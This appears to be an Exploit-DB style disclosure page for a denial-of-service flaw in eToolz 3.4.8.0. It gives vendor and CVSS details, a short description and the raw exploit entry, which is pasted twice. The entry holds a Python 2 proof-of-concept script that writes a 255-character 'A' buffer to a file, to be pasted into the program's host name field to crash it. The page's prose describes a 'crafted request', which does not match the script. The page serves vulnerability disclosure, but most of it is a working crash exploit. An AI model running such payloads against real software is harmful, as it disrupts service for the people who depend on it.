eToolz 3.4.8.0 - Denial of Service (PoC)

vendor:

eToolz

by:

Ihsan Sencan

5.5

CVSS

MEDIUM

Denial of Service

400

CWE

Product Name: eToolz

Affected Version From: 3.4.8.0

Affected Version To: 3.4.8.0

Patch Exists: NO

Related CWE:

CPE: a:gaijin:etoolz:3.4.8.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 x64, Kali Linux x64

2018

eToolz 3.4.8.0 – Denial of Service (PoC)

The eToolz software version 3.4.8.0 is vulnerable to a Denial of Service (DoS) attack. By sending a specially crafted request, an attacker can cause the software to crash or become unresponsive, resulting in a denial of service for legitimate users.

Mitigation:

There is currently no known mitigation for this vulnerability. It is recommended to update to the latest version of the software when a patch becomes available.

Source

Exploit-DB raw data:

# Exploit Title: eToolz 3.4.8.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-03
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.gaijin.at
# Software Link: https://www.gaijin.at/de/software/etoolz
# Version: 3.4.8.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Host name / IP adress :

#!/usr/bin/python
    
buffer = "A" * 255
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."# Exploit Title: eToolz 3.4.8.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-03
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.gaijin.at
# Software Link: https://www.gaijin.at/de/software/etoolz
# Version: 3.4.8.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Host name / IP adress :

#!/usr/bin/python
    
buffer = "A" * 255
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."